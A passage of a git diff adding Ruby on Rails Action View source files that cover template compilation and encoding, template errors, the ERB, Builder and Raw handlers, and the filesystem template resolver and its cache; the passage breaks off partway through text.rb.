+ polymorphic_path(options)
+ end
+ end
+
+ def url_options #:nodoc:
+ return super unless controller.respond_to?(:url_options)
+ controller.url_options
+ end
+
+ def _routes_context #:nodoc:
+ controller
+ end
+ protected :_routes_context
+
+ def optimize_routes_generation? #:nodoc:
+ controller.respond_to?(:optimize_routes_generation?, true) ?
+ controller.optimize_routes_generation? : super
+ end
+ protected :optimize_routes_generation?
+ end
+end
diff --git a/actionpack/lib/action_view/template.rb b/actionpack/lib/action_view/template.rb
new file mode 100644
index 0000000..946db1d
--- /dev/null
+++ b/actionpack/lib/action_view/template.rb
@@ -0,0 +1,339 @@
+require 'active_support/core_ext/object/try'
+require 'active_support/core_ext/kernel/singleton_class'
+require 'thread'
+
+module ActionView
+ # = Action View Template
+ class Template
+ extend ActiveSupport::Autoload
+
+ # === Encodings in ActionView::Template
+ #
+ # ActionView::Template is one of a few sources of potential
+ # encoding issues in Rails. This is because the source for
+ # templates are usually read from disk, and Ruby (like most
+ # encoding-aware programming languages) assumes that the
+ # String retrieved through File IO is encoded in the
+ # <tt>default_external</tt> encoding. In Rails, the default
+ # <tt>default_external</tt> encoding is UTF-8.
+ #
+ # As a result, if a user saves their template as ISO-8859-1
+ # (for instance, using a non-Unicode-aware text editor),
+ # and uses characters outside of the ASCII range, their
+ # users will see diamonds with question marks in them in
+ # the browser.
+ #
+ # For the rest of this documentation, when we say "UTF-8",
+ # we mean "UTF-8 or whatever the default_internal encoding
+ # is set to". By default, it will be UTF-8.
+ #
+ # To mitigate this problem, we use a few strategies:
+ # 1. If the source is not valid UTF-8, we raise an exception
+ # when the template is compiled to alert the user
+ # to the problem.
+ # 2. The user can specify the encoding using Ruby-style
+ # encoding comments in any template engine. If such
+ # a comment is supplied, Rails will apply that encoding
+ # to the resulting compiled source returned by the
+ # template handler.
+ # 3. In all cases, we transcode the resulting String to
+ # the UTF-8.
+ #
+ # This means that other parts of Rails can always assume
+ # that templates are encoded in UTF-8, even if the original
+ # source of the template was not UTF-8.
+ #
+ # From a user's perspective, the easiest thing to do is
+ # to save your templates as UTF-8. If you do this, you
+ # do not need to do anything else for things to "just work".
+ #
+ # === Instructions for template handlers
+ #
+ # The easiest thing for you to do is to simply ignore
+ # encodings. Rails will hand you the template source
+ # as the default_internal (generally UTF-8), raising
+ # an exception for the user before sending the template
+ # to you if it could not determine the original encoding.
+ #
+ # For the greatest simplicity, you can support only
+ # UTF-8 as the <tt>default_internal</tt>. This means
+ # that from the perspective of your handler, the
+ # entire pipeline is just UTF-8.
+ #
+ # === Advanced: Handlers with alternate metadata sources
+ #
+ # If you want to provide an alternate mechanism for
+ # specifying encodings (like ERB does via <%# encoding: ... %>),
+ # you may indicate that you will handle encodings yourself
+ # by implementing <tt>self.handles_encoding?</tt>
+ # on your handler.
+ #
+ # If you do, Rails will not try to encode the String
+ # into the default_internal, passing you the unaltered
+ # bytes tagged with the assumed encoding (from
+ # default_external).
+ #
+ # In this case, make sure you return a String from
+ # your handler encoded in the default_internal. Since
+ # you are handling out-of-band metadata, you are
+ # also responsible for alerting the user to any
+ # problems with converting the user's data to
+ # the <tt>default_internal</tt>.
+ #
+ # To do so, simply raise +WrongEncodingError+ as follows:
+ #
+ # raise WrongEncodingError.new(
+ # problematic_string,
+ # expected_encoding
+ # )
+
+ eager_autoload do
+ autoload :Error
+ autoload :Handlers
+ autoload :Text
+ autoload :Types
+ end
+
+ extend Template::Handlers
+
+ attr_accessor :locals, :formats, :virtual_path
+
+ attr_reader :source, :identifier, :handler, :original_encoding, :updated_at
+
+ # This finalizer is needed (and exactly with a proc inside another proc)
+ # otherwise templates leak in development.
+ Finalizer = proc do |method_name, mod|
+ proc do
+ mod.module_eval do
+ remove_possible_method method_name
+ end
+ end
+ end
+
+ def initialize(source, identifier, handler, details)
+ format = details[:format] || (handler.default_format if handler.respond_to?(:default_format))
+
+ @source = source
+ @identifier = identifier
+ @handler = handler
+ @compiled = false
+ @original_encoding = nil
+ @locals = details[:locals] || []
+ @virtual_path = details[:virtual_path]
+ @updated_at = details[:updated_at] || Time.now
+ @formats = Array(format).map { |f| f.respond_to?(:ref) ? f.ref : f }
+ @compile_mutex = Mutex.new
+ end
+
+ # Returns if the underlying handler supports streaming. If so,
+ # a streaming buffer *may* be passed when it start rendering.
+ def supports_streaming?
+ handler.respond_to?(:supports_streaming?) && handler.supports_streaming?
+ end
+
+ # Render a template. If the template was not compiled yet, it is done
+ # exactly before rendering.
+ #
+ # This method is instrumented as "!render_template.action_view". Notice that
+ # we use a bang in this instrumentation because you don't want to
+ # consume this in production. This is only slow if it's being listened to.
+ def render(view, locals, buffer=nil, &block)
+ ActiveSupport::Notifications.instrument("!render_template.action_view", virtual_path: @virtual_path, identifier: @identifier) do
+ compile!(view)
+ view.send(method_name, locals, buffer, &block)
+ end
+ rescue Exception => e
+ handle_render_error(view, e)
+ end
+
+ def mime_type
+ message = 'Template#mime_type is deprecated and will be removed in Rails 4.1. Please use type method instead.'
+ ActiveSupport::Deprecation.warn message
+ @mime_type ||= Mime::Type.lookup_by_extension(@formats.first.to_s) if @formats.first
+ end
+
+ def type
+ @type ||= Types[@formats.first] if @formats.first
+ end
+
+ # Receives a view object and return a template similar to self by using @virtual_path.
+ #
+ # This method is useful if you have a template object but it does not contain its source
+ # anymore since it was already compiled. In such cases, all you need to do is to call
+ # refresh passing in the view object.
+ #
+ # Notice this method raises an error if the template to be refreshed does not have a
+ # virtual path set (true just for inline templates).
+ def refresh(view)
+ raise "A template needs to have a virtual path in order to be refreshed" unless @virtual_path
+ lookup = view.lookup_context
+ pieces = @virtual_path.split("/")
+ name = pieces.pop
+ partial = !!name.sub!(/^_/, "")
+ lookup.disable_cache do
+ lookup.find_template(name, [ pieces.join('/') ], partial, @locals)
+ end
+ end
+
+ def inspect
+ @inspect ||= defined?(Rails.root) ? identifier.sub("#{Rails.root}/", '') : identifier
+ end
+
+ # This method is responsible for properly setting the encoding of the
+ # source. Until this point, we assume that the source is BINARY data.
+ # If no additional information is supplied, we assume the encoding is
+ # the same as <tt>Encoding.default_external</tt>.
+ #
+ # The user can also specify the encoding via a comment on the first
+ # line of the template (# encoding: NAME-OF-ENCODING). This will work
+ # with any template engine, as we process out the encoding comment
+ # before passing the source on to the template engine, leaving a
+ # blank line in its stead.
+ def encode!
+ return unless source.encoding == Encoding::BINARY
+
+ # Look for # encoding: *. If we find one, we'll encode the
+ # String in that encoding, otherwise, we'll use the
+ # default external encoding.
+ if source.sub!(/\A#{ENCODING_FLAG}/, '')
+ encoding = magic_encoding = $1
+ else
+ encoding = Encoding.default_external
+ end
+
+ # Tag the source with the default external encoding
+ # or the encoding specified in the file
+ source.force_encoding(encoding)
+
+ # If the user didn't specify an encoding, and the handler
+ # handles encodings, we simply pass the String as is to
+ # the handler (with the default_external tag)
+ if !magic_encoding && @handler.respond_to?(:handles_encoding?) && @handler.handles_encoding?
+ source
+ # Otherwise, if the String is valid in the encoding,
+ # encode immediately to default_internal. This means
+ # that if a handler doesn't handle encodings, it will
+ # always get Strings in the default_internal
+ elsif source.valid_encoding?
+ source.encode!
+ # Otherwise, since the String is invalid in the encoding
+ # specified, raise an exception
+ else
+ raise WrongEncodingError.new(source, encoding)
+ end
+ end
+
+ protected
+
+ # Compile a template. This method ensures a template is compiled
+ # just once and removes the source after it is compiled.
+ def compile!(view) #:nodoc:
+ return if @compiled
+
+ # Templates can be used concurrently in threaded environments
+ # so compilation and any instance variable modification must
+ # be synchronized
+ @compile_mutex.synchronize do
+ # Any thread holding this lock will be compiling the template needed
+ # by the threads waiting. So re-check the @compiled flag to avoid
+ # re-compilation
+ return if @compiled
+
+ if view.is_a?(ActionView::CompiledTemplates)
+ mod = ActionView::CompiledTemplates
+ else
+ mod = view.singleton_class
+ end
+
+ compile(view, mod)
+
+ # Just discard the source if we have a virtual path. This
+ # means we can get the template back.
+ @source = nil if @virtual_path
+ @compiled = true
+ end
+ end
+
+ # Among other things, this method is responsible for properly setting
+ # the encoding of the compiled template.
+ #
+ # If the template engine handles encodings, we send the encoded
+ # String to the engine without further processing. This allows
+ # the template engine to support additional mechanisms for
+ # specifying the encoding. For instance, ERB supports <%# encoding: %>
+ #
+ # Otherwise, after we figure out the correct encoding, we then
+ # encode the source into <tt>Encoding.default_internal</tt>.
+ # In general, this means that templates will be UTF-8 inside of Rails,
+ # regardless of the original source encoding.
+ def compile(view, mod) #:nodoc:
+ encode!
+ method_name = self.method_name
+ code = @handler.call(self)
+
+ # Make sure that the resulting String to be evalled is in the
+ # encoding of the code
+ source = <<-end_src
+ def #{method_name}(local_assigns, output_buffer)
+ _old_virtual_path, @virtual_path = @virtual_path, #{@virtual_path.inspect};_old_output_buffer = @output_buffer;#{locals_code};#{code}
+ ensure
+ @virtual_path, @output_buffer = _old_virtual_path, _old_output_buffer
+ end
+ end_src
+
+ # Make sure the source is in the encoding of the returned code
+ source.force_encoding(code.encoding)
+
+ # In case we get back a String from a handler that is not in
+ # BINARY or the default_internal, encode it to the default_internal
+ source.encode!
+
+ # Now, validate that the source we got back from the template
+ # handler is valid in the default_internal. This is for handlers
+ # that handle encoding but screw up
+ unless source.valid_encoding?
+ raise WrongEncodingError.new(@source, Encoding.default_internal)
+ end
+
+ begin
+ mod.module_eval(source, identifier, 0)
+ ObjectSpace.define_finalizer(self, Finalizer[method_name, mod])
+ rescue Exception => e # errors from template code
+ if logger = (view && view.logger)
+ logger.debug "ERROR: compiling #{method_name} RAISED #{e}"
+ logger.debug "Function body: #{source}"
+ logger.debug "Backtrace: #{e.backtrace.join("\n")}"
+ end
+
+ raise ActionView::Template::Error.new(self, e)
+ end
+ end
+
+ def handle_render_error(view, e) #:nodoc:
+ if e.is_a?(Template::Error)
+ e.sub_template_of(self)
+ raise e
+ else
+ template = self
+ unless template.source
+ template = refresh(view)
+ template.encode!
+ end
+ raise Template::Error.new(template, e)
+ end
+ end
+
+ def locals_code #:nodoc:
+ # Double assign to suppress the dreaded 'assigned but unused variable' warning
+ @locals.map { |key| "#{key} = #{key} = local_assigns[:#{key}];" }.join
+ end
+
+ def method_name #:nodoc:
+ @method_name ||= "_#{identifier_method_name}__#{@identifier.hash}_#{__id__}".gsub('-', "_")
+ end
+
+ def identifier_method_name #:nodoc:
+ inspect.gsub(/[^a-z_]/, '_')
+ end
+ end
+end
diff --git a/actionpack/lib/action_view/template/error.rb b/actionpack/lib/action_view/template/error.rb
new file mode 100644
index 0000000..a89d512
--- /dev/null
+++ b/actionpack/lib/action_view/template/error.rb
@@ -0,0 +1,138 @@
+require "active_support/core_ext/enumerable"
+
+module ActionView
+ # = Action View Errors
+ class ActionViewError < StandardError #:nodoc:
+ end
+
+ class EncodingError < StandardError #:nodoc:
+ end
+
+ class MissingRequestError < StandardError #:nodoc:
+ end
+
+ class WrongEncodingError < EncodingError #:nodoc:
+ def initialize(string, encoding)
+ @string, @encoding = string, encoding
+ end
+
+ def message
+ @string.force_encoding(Encoding::ASCII_8BIT)
+ "Your template was not saved as valid #{@encoding}. Please " \
+ "either specify #{@encoding} as the encoding for your template " \
+ "in your text editor, or mark the template with its " \
+ "encoding by inserting the following as the first line " \
+ "of the template:\n\n# encoding: <name of correct encoding>.\n\n" \
+ "The source of your template was:\n\n#{@string}"
+ end
+ end
+
+ class MissingTemplate < ActionViewError #:nodoc:
+ attr_reader :path
+
+ def initialize(paths, path, prefixes, partial, details, *)
+ @path = path
+ prefixes = Array(prefixes)
+ template_type = if partial
+ "partial"
+ elsif path =~ /layouts/i
+ 'layout'
+ else
+ 'template'
+ end
+
+ searched_paths = prefixes.map { |prefix| [prefix, path].join("/") }
+
+ out = "Missing #{template_type} #{searched_paths.join(", ")} with #{details.inspect}. Searched in:\n"
+ out += paths.compact.map { |p| " * #{p.to_s.inspect}\n" }.join
+ super out
+ end
+ end
+
+ class Template
+ # The Template::Error exception is raised when the compilation or rendering of the template
+ # fails. This exception then gathers a bunch of intimate details and uses it to report a
+ # precise exception message.
+ class Error < ActionViewError #:nodoc:
+ SOURCE_CODE_RADIUS = 3
+
+ attr_reader :original_exception, :backtrace
+
+ def initialize(template, original_exception)
+ super(original_exception.message)
+ @template, @original_exception = template, original_exception
+ @sub_templates = nil
+ @backtrace = original_exception.backtrace
+ end
+
+ def file_name
+ @template.identifier
+ end
+
+ def sub_template_message
+ if @sub_templates
+ "Trace of template inclusion: " +
+ @sub_templates.collect { |template| template.inspect }.join(", ")
+ else
+ ""
+ end
+ end
+
+ def source_extract(indentation = 0, output = :console)
+ return unless num = line_number
+ num = num.to_i
+
+ source_code = @template.source.split("\n")
+
+ start_on_line = [ num - SOURCE_CODE_RADIUS - 1, 0 ].max
+ end_on_line = [ num + SOURCE_CODE_RADIUS - 1, source_code.length].min
+
+ indent = end_on_line.to_s.size + indentation
+ return unless source_code = source_code[start_on_line..end_on_line]
+
+ formatted_code_for(source_code, start_on_line, indent, output)
+ end
+
+ def sub_template_of(template_path)
+ @sub_templates ||= []
+ @sub_templates << template_path
+ end
+
+ def line_number
+ @line_number ||=
+ if file_name
+ regexp = /#{Regexp.escape File.basename(file_name)}:(\d+)/
+ $1 if message =~ regexp || backtrace.find { |line| line =~ regexp }
+ end
+ end
+
+ def annoted_source_code
+ source_extract(4)
+ end
+
+ private
+
+ def source_location
+ if line_number
+ "on line ##{line_number} of "
+ else
+ 'in '
+ end + file_name
+ end
+
+ def formatted_code_for(source_code, line_counter, indent, output)
+ start_value = (output == :html) ? {} : ""
+ source_code.inject(start_value) do |result, line|
+ line_counter += 1
+ if output == :html
+ result.update(line_counter.to_s => "%#{indent}s %s\n" % ["", line])
+ else
+ result << "%#{indent}s: %s\n" % [line_counter, line]
+ end
+ end
+ end
+ end
+ end
+
+ TemplateError = Template::Error
+end
diff --git a/actionpack/lib/action_view/template/handlers.rb b/actionpack/lib/action_view/template/handlers.rb
new file mode 100644
index 0000000..d9cddc0
--- /dev/null
+++ b/actionpack/lib/action_view/template/handlers.rb
@@ -0,0 +1,53 @@
+module ActionView #:nodoc:
+ # = Action View Template Handlers
+ class Template
+ module Handlers #:nodoc:
+ autoload :ERB, 'action_view/template/handlers/erb'
+ autoload :Builder, 'action_view/template/handlers/builder'
+ autoload :Raw, 'action_view/template/handlers/raw'
+
+ def self.extended(base)
+ base.register_default_template_handler :erb, ERB.new
+ base.register_template_handler :builder, Builder.new
+ base.register_template_handler :raw, Raw.new
+ base.register_template_handler :ruby, :source.to_proc
+ end
+
+ @@template_handlers = {}
+ @@default_template_handlers = nil
+
+ def self.extensions
+ @@template_extensions ||= @@template_handlers.keys
+ end
+
+ # Register an object that knows how to handle template files with the given
+ # extensions. This can be used to implement new template types.
+ # The handler must respond to `:call`, which will be passed the template
+ # and should return the rendered template as a String.
+ def register_template_handler(*extensions, handler)
+ raise(ArgumentError, "Extension is required") if extensions.empty?
+ extensions.each do |extension|
+ @@template_handlers[extension.to_sym] = handler
+ end
+ @@template_extensions = nil
+ end
+
+ def template_handler_extensions
+ @@template_handlers.keys.map {|key| key.to_s }.sort
+ end
+
+ def registered_template_handler(extension)
+ extension && @@template_handlers[extension.to_sym]
+ end
+
+ def register_default_template_handler(extension, klass)
+ register_template_handler(extension, klass)
+ @@default_template_handlers = klass
+ end
+
+ def handler_for_extension(extension)
+ registered_template_handler(extension) || @@default_template_handlers
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_view/template/handlers/builder.rb b/actionpack/lib/action_view/template/handlers/builder.rb
new file mode 100644
index 0000000..d90b0c6
--- /dev/null
+++ b/actionpack/lib/action_view/template/handlers/builder.rb
@@ -0,0 +1,26 @@
+module ActionView
+ module Template::Handlers
+ class Builder
+ # Default format used by Builder.
+ class_attribute :default_format
+ self.default_format = :xml
+
+ def call(template)
+ require_engine
+ "xml = ::Builder::XmlMarkup.new(:indent => 2);" +
+ "self.output_buffer = xml.target!;" +
+ template.source +
+ ";xml.target!;"
+ end
+
+ protected
+
+ def require_engine
+ @required ||= begin
+ require "builder"
+ true
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_view/template/handlers/erb.rb b/actionpack/lib/action_view/template/handlers/erb.rb
new file mode 100644
index 0000000..7d7a7af
--- /dev/null
+++ b/actionpack/lib/action_view/template/handlers/erb.rb
@@ -0,0 +1,146 @@
+require 'action_dispatch/http/mime_type'
+require 'erubis'
+
+module ActionView
+ class Template
+ module Handlers
+ class Erubis < ::Erubis::Eruby
+ def add_preamble(src)
+ @newline_pending = 0
+ src << "@output_buffer = output_buffer || ActionView::OutputBuffer.new;"
+ end
+
+ def add_text(src, text)
+ return if text.empty?
+
+ if text == "\n"
+ @newline_pending += 1
+ else
+ src << "@output_buffer.safe_append='"
+ src << "\n" * @newline_pending if @newline_pending > 0
+ src << escape_text(text)
+ src << "';"
+
+ @newline_pending = 0
+ end
+ end
+
+ # Erubis toggles <%= and <%== behavior when escaping is enabled.
+ # We override to always treat <%== as escaped.
+ def add_expr(src, code, indicator)
+ case indicator
+ when '=='
+ add_expr_escaped(src, code)
+ else
+ super
+ end
+ end
+
+ BLOCK_EXPR = /\s+(do|\{)(\s*\|[^|]*\|)?\s*\Z/
+
+ def add_expr_literal(src, code)
+ flush_newline_if_pending(src)
+ if code =~ BLOCK_EXPR
+ src << '@output_buffer.append= ' << code
+ else
+ src << '@output_buffer.append=(' << code << ');'
+ end
+ end
+
+ def add_expr_escaped(src, code)
+ flush_newline_if_pending(src)
+ if code =~ BLOCK_EXPR
+ src << "@output_buffer.safe_append= " << code
+ else
+ src << "@output_buffer.safe_append=(" << code << ");"
+ end
+ end
+
+ def add_stmt(src, code)
+ flush_newline_if_pending(src)
+ super
+ end
+
+ def add_postamble(src)
+ flush_newline_if_pending(src)
+ src << '@output_buffer.to_s'
+ end
+
+ def flush_newline_if_pending(src)
+ if @newline_pending > 0
+ src << "@output_buffer.safe_append='#{"\n" * @newline_pending}';"
+ @newline_pending = 0
+ end
+ end
+ end
+
+ class ERB
+ # Specify trim mode for the ERB compiler. Defaults to '-'.
+ # See ERB documentation for suitable values.
+ class_attribute :erb_trim_mode
+ self.erb_trim_mode = '-'
+
+ # Default implementation used.
+ class_attribute :erb_implementation
+ self.erb_implementation = Erubis
+
+ # Do not escape templates of these mime types.
+ class_attribute :escape_whitelist
+ self.escape_whitelist = ["text/plain"]
+
+ ENCODING_TAG = Regexp.new("\\A(<%#{ENCODING_FLAG}-?%>)[ \\t]*")
+
+ def self.call(template)
+ new.call(template)
+ end
+
+ def supports_streaming?
+ true
+ end
+
+ def handles_encoding?
+ true
+ end
+
+ def call(template)
+ # First, convert to BINARY, so in case the encoding is
+ # wrong, we can still find an encoding tag
+ # (<%# encoding %>) inside the String using a regular
+ # expression
+ template_source = template.source.dup.force_encoding(Encoding::ASCII_8BIT)
+
+ erb = template_source.gsub(ENCODING_TAG, '')
+ encoding = $2
+
+ erb.force_encoding valid_encoding(template.source.dup, encoding)
+
+ # Always make sure we return a String in the default_internal
+ erb.encode!
+
+ self.class.erb_implementation.new(
+ erb,
+ :escape => (self.class.escape_whitelist.include? template.type),
+ :trim => (self.class.erb_trim_mode == "-")
+ ).src
+ end
+
+ private
+
+ def valid_encoding(string, encoding)
+ # If a magic encoding comment was found, tag the
+ # String with this encoding. This is for a case
+ # where the original String was assumed to be,
+ # for instance, UTF-8, but a magic comment
+ # proved otherwise
+ string.force_encoding(encoding) if encoding
+
+ # If the String is valid, return the encoding we found
+ return string.encoding if string.valid_encoding?
+
+ # Otherwise, raise an exception
+ raise WrongEncodingError.new(string, string.encoding)
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_view/template/handlers/raw.rb b/actionpack/lib/action_view/template/handlers/raw.rb
new file mode 100644
index 0000000..0c0d1ff
--- /dev/null
+++ b/actionpack/lib/action_view/template/handlers/raw.rb
@@ -0,0 +1,11 @@
+module ActionView
+ module Template::Handlers
+ class Raw
+ def call(template)
+ escaped = template.source.gsub(':', '\:')
+
+ '%q:' + escaped + ':;'
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_view/template/resolver.rb b/actionpack/lib/action_view/template/resolver.rb
new file mode 100644
index 0000000..3304605
--- /dev/null
+++ b/actionpack/lib/action_view/template/resolver.rb
@@ -0,0 +1,326 @@
+require "pathname"
+require "active_support/core_ext/class"
+require "active_support/core_ext/class/attribute_accessors"
+require "action_view/template"
+require "thread"
+require "thread_safe"
+
+module ActionView
+ # = Action View Resolver
+ class Resolver
+ # Keeps all information about view path and builds virtual path.
+ class Path
+ attr_reader :name, :prefix, :partial, :virtual
+ alias_method :partial?, :partial
+
+ def self.build(name, prefix, partial)
+ virtual = ""
+ virtual << "#{prefix}/" unless prefix.empty?
+ virtual << (partial ? "_#{name}" : name)
+ new name, prefix, partial, virtual
+ end
+
+ def initialize(name, prefix, partial, virtual)
+ @name = name
+ @prefix = prefix
+ @partial = partial
+ @virtual = virtual
+ end
+
+ def to_str
+ @virtual
+ end
+ alias :to_s :to_str
+ end
+
+ # Threadsafe template cache
+ class Cache #:nodoc:
+ class SmallCache < ThreadSafe::Cache
+ def initialize(options = {})
+ super(options.merge(:initial_capacity => 2))
+ end
+ end
+
+ # preallocate all the default blocks for performance/memory consumption reasons
+ PARTIAL_BLOCK = lambda {|cache, partial| cache[partial] = SmallCache.new}
+ PREFIX_BLOCK = lambda {|cache, prefix| cache[prefix] = SmallCache.new(&PARTIAL_BLOCK)}
+ NAME_BLOCK = lambda {|cache, name| cache[name] = SmallCache.new(&PREFIX_BLOCK)}
+ KEY_BLOCK = lambda {|cache, key| cache[key] = SmallCache.new(&NAME_BLOCK)}
+
+ # usually a majority of template look ups return nothing, use this canonical preallocated array to save memory
+ NO_TEMPLATES = [].freeze
+
+ def initialize
+ @data = SmallCache.new(&KEY_BLOCK)
+ end
+
+ # Cache the templates returned by the block
+ def cache(key, name, prefix, partial, locals)
+ if Resolver.caching?
+ @data[key][name][prefix][partial][locals] ||= canonical_no_templates(yield)
+ else
+ fresh_templates = yield
+ cached_templates = @data[key][name][prefix][partial][locals]
+
+ if templates_have_changed?(cached_templates, fresh_templates)
+ @data[key][name][prefix][partial][locals] = canonical_no_templates(fresh_templates)
+ else
+ cached_templates || NO_TEMPLATES
+ end
+ end
+ end
+
+ def clear
+ @data.clear
+ end
+
+ private
+
+ def canonical_no_templates(templates)
+ templates.empty? ? NO_TEMPLATES : templates
+ end
+
+ def templates_have_changed?(cached_templates, fresh_templates)
+ # if either the old or new template list is empty, we don't need to (and can't)
+ # compare modification times, and instead just check whether the lists are different
+ if cached_templates.blank? || fresh_templates.blank?
+ return fresh_templates.blank? != cached_templates.blank?
+ end
+
+ cached_templates_max_updated_at = cached_templates.map(&:updated_at).max
+
+ # if a template has changed, it will be now be newer than all the cached templates
+ fresh_templates.any? { |t| t.updated_at > cached_templates_max_updated_at }
+ end
+ end
+
+ cattr_accessor :caching
+ self.caching = true
+
+ class << self
+ alias :caching? :caching
+ end
+
+ def initialize
+ @cache = Cache.new
+ end
+
+ def clear_cache
+ @cache.clear
+ end
+
+ # Normalizes the arguments and passes it on to find_templates.
+ def find_all(name, prefix=nil, partial=false, details={}, key=nil, locals=[])
+ cached(key, [name, prefix, partial], details, locals) do
+ find_templates(name, prefix, partial, details)
+ end
+ end
+
+ private
+
+ delegate :caching?, to: :class
+
+ # This is what child classes implement. No defaults are needed
+ # because Resolver guarantees that the arguments are present and
+ # normalized.
+ def find_templates(name, prefix, partial, details)
+ raise NotImplementedError, "Subclasses must implement a find_templates(name, prefix, partial, details) method"
+ end
+
+ # Helpers that builds a path. Useful for building virtual paths.
+ def build_path(name, prefix, partial)
+ Path.build(name, prefix, partial)
+ end
+
+ # Handles templates caching. If a key is given and caching is on
+ # always check the cache before hitting the resolver. Otherwise,
+ # it always hits the resolver but if the key is present, check if the
+ # resolver is fresher before returning it.
+ def cached(key, path_info, details, locals) #:nodoc:
+ name, prefix, partial = path_info
+ locals = locals.map { |x| x.to_s }.sort!
+
+ if key
+ @cache.cache(key, name, prefix, partial, locals) do
+ decorate(yield, path_info, details, locals)
+ end
+ else
+ decorate(yield, path_info, details, locals)
+ end
+ end
+
+ # Ensures all the resolver information is set in the template.
+ def decorate(templates, path_info, details, locals) #:nodoc:
+ cached = nil
+ templates.each do |t|
+ t.locals = locals
+ t.formats = details[:formats] || [:html] if t.formats.empty?
+ t.virtual_path ||= (cached ||= build_path(*path_info))
+ end
+ end
+ end
+
+ # An abstract class that implements a Resolver with path semantics.
+ class PathResolver < Resolver #:nodoc:
+ EXTENSIONS = [:locale, :formats, :handlers]
+ DEFAULT_PATTERN = ":prefix/:action{.:locale,}{.:formats,}{.:handlers,}"
+
+ def initialize(pattern=nil)
+ @pattern = pattern || DEFAULT_PATTERN
+ super()
+ end
+
+ private
+
+ def find_templates(name, prefix, partial, details)
+ path = Path.build(name, prefix, partial)
+ query(path, details, details[:formats])
+ end
+
+ def query(path, details, formats)
+ query = build_query(path, details)
+
+ # deals with case-insensitive file systems.
+ sanitizer = Hash.new { |h,dir| h[dir] = Dir["#{dir}/*"] }
+
+ template_paths = Dir[query].reject { |filename|
+ File.directory?(filename) ||
+ !sanitizer[File.dirname(filename)].include?(filename)
+ }
+
+ template_paths.map { |template|
+ handler, format = extract_handler_and_format(template, formats)
+ contents = File.binread template
+
+ Template.new(contents, File.expand_path(template), handler,
+ :virtual_path => path.virtual,
+ :format => format,
+ :updated_at => mtime(template))
+ }
+ end
+
+ # Helper for building query glob string based on resolver's pattern.
+ def build_query(path, details)
+ query = @pattern.dup
+
+ prefix = path.prefix.empty? ? "" : "#{escape_entry(path.prefix)}\\1"
+ query.gsub!(/\:prefix(\/)?/, prefix)
+
+ partial = escape_entry(path.partial? ? "_#{path.name}" : path.name)
+ query.gsub!(/\:action/, partial)
+
+ details.each do |ext, variants|
+ query.gsub!(/\:#{ext}/, "{#{variants.compact.uniq.join(',')}}")
+ end
+
+ File.expand_path(query, @path)
+ end
+
+ def escape_entry(entry)
+ entry.gsub(/[*?{}\[\]]/, '\\\\\\&')
+ end
+
+ # Returns the file mtime from the filesystem.
+ def mtime(p)
+ File.mtime(p)
+ end
+
+ # Extract handler and formats from path. If a format cannot be a found neither
+ # from the path, or the handler, we should return the array of formats given
+ # to the resolver.
+ def extract_handler_and_format(path, default_formats)
+ pieces = File.basename(path).split(".")
+ pieces.shift
+
+ extension = pieces.pop
+ unless extension
+ message = "The file #{path} did not specify a template handler. The default is currently ERB, " \
+ "but will change to RAW in the future."
+ ActiveSupport::Deprecation.warn message
+ end
+
+ handler = Template.handler_for_extension(extension)
+ format = pieces.last && Template::Types[pieces.last]
+ [handler, format]
+ end
+ end
+
+ # A resolver that loads files from the filesystem. It allows setting your own
+ # resolving pattern. Such pattern can be a glob string supported by some variables.
+ #
+ # ==== Examples
+ #
+ # Default pattern, loads views the same way as previous versions of rails, eg. when you're
+ # looking for `users/new` it will produce query glob: `users/new{.{en},}{.{html,js},}{.{erb,haml},}`
+ #
+ # FileSystemResolver.new("/path/to/views", ":prefix/:action{.:locale,}{.:formats,}{.:handlers,}")
+ #
+ # This one allows you to keep files with different formats in separate subdirectories,
+ # eg. `users/new.html` will be loaded from `users/html/new.erb` or `users/new.html.erb`,
+ # `users/new.js` from `users/js/new.erb` or `users/new.js.erb`, etc.
+ #
+ # FileSystemResolver.new("/path/to/views", ":prefix/{:formats/,}:action{.:locale,}{.:formats,}{.:handlers,}")
+ #
+ # If you don't specify a pattern then the default will be used.
+ #
+ # In order to use any of the customized resolvers above in a Rails application, you just need
+ # to configure ActionController::Base.view_paths in an initializer, for example:
+ #
+ # ActionController::Base.view_paths = FileSystemResolver.new(
+ # Rails.root.join("app/views"),
+ # ":prefix{/:locale}/:action{.:formats,}{.:handlers,}"
+ # )
+ #
+ # ==== Pattern format and variables
+ #
+ # Pattern has to be a valid glob string, and it allows you to use the
+ # following variables:
+ #
+ # * <tt>:prefix</tt> - usually the controller path
+ # * <tt>:action</tt> - name of the action
+ # * <tt>:locale</tt> - possible locale versions
+ # * <tt>:formats</tt> - possible request formats (for example html, json, xml...)
+ # * <tt>:handlers</tt> - possible handlers (for example erb, haml, builder...)
+ #
+ class FileSystemResolver < PathResolver
+ def initialize(path, pattern=nil)
+ raise ArgumentError, "path already is a Resolver class" if path.is_a?(Resolver)
+ super(pattern)
+ @path = File.expand_path(path)
+ end
+
+ def to_s
+ @path.to_s
+ end
+ alias :to_path :to_s
+
+ def eql?(resolver)
+ self.class.equal?(resolver.class) && to_path == resolver.to_path
+ end
+ alias :== :eql?
+ end
+
+ # An Optimized resolver for Rails' most common case.
+ class OptimizedFileSystemResolver < FileSystemResolver #:nodoc:
+ def build_query(path, details)
+ exts = EXTENSIONS.map { |ext| details[ext] }
+ query = escape_entry(File.join(@path, path))
+
+ query + exts.map { |ext|
+ "{#{ext.compact.uniq.map { |e| ".#{e}," }.join}}"
+ }.join
+ end
+ end
+
+ # The same as FileSystemResolver but does not allow templates to store
+ # a virtual path since it is invalid for such resolvers.
+ class FallbackFileSystemResolver < FileSystemResolver #:nodoc:
+ def self.instances
+ [new(""), new("/")]
+ end
+
+ def decorate(*)
+ super.each { |t| t.virtual_path = nil }
+ end
+ end
+end
diff --git a/actionpack/lib/action_view/template/text.rb b/actionpack/lib/action_view/template/text.rb
new file mode 100644
index 0000000..859c7bc
--- /dev/null
+++ b/actionpack/lib/action_view/template/text.rb
@@ -0,0 +1,34 @@
+module ActionView #:nodoc:
+ # = Action View Text Template
+ class Template
+ class Text #:nodoc:
+ attr_accessor :type
+
+ def initialize(string, type = nil)
+ @string = string.to_s
+ @type = Types[type] || type if type
+ @type ||= Types[:text]
+ end
+
+ def identifier
+ 'text template'
+ end
+
+ def inspect
+ 'text template'
+ end
+
+ def to_str
+ @string
+ end
+
